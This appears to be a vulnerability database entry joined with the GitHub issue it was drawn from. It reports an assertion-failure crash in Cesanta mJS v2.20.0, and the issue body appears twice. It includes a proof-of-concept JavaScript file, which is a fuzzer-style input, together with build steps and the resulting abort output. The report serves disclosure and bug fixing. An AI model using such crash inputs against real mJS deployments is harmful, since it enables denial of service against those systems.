There is an Assertion 'ppos != NULL && mjs_is_number(*ppos)' failed at src/mjs_core.c in Cesanta MJS v2.20.0.
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(function() {
  ((function JSEtest(a) {
    if (a > 0) {
      if (gc(gc --gc -- !== gc(' ' !== JSEtest(a - 1)))) {
      JSEtest(a - 1)
    }
    }
  })(6))
})()
```
</code></pre>
</details>

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
mjs: src/mjs_core.c:311: int mjs_getretvalpos(struct mjs *): Assertion `ppos != NULL && mjs_is_number(*ppos)' failed.
[1]    32098 abort      mjs poc.js
```


Assertion `ppos != NULL && mjs_is_number(*ppos)' failed at src/mjs_core.c:311: int mjs_getretvalpos(struct mjs *).
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : Assertion `ppos != NULL && mjs_is_number(*ppos)' failed at src/mjs_core.c:311: int mjs_getretvalpos(struct mjs *).
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(function() {
  ((function JSEtest(a) {
    if (a > 0) {
      if (gc(gc --gc -- !== gc(' ' !== JSEtest(a - 1)))) {
      JSEtest(a - 1)
    }
    }
  })(6))
})()
```
</code></pre>
</details>

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
mjs: src/mjs_core.c:311: int mjs_getretvalpos(struct mjs *): Assertion `ppos != NULL && mjs_is_number(*ppos)' failed.
[1]    32098 abort      mjs poc.js
```


--- end body ---

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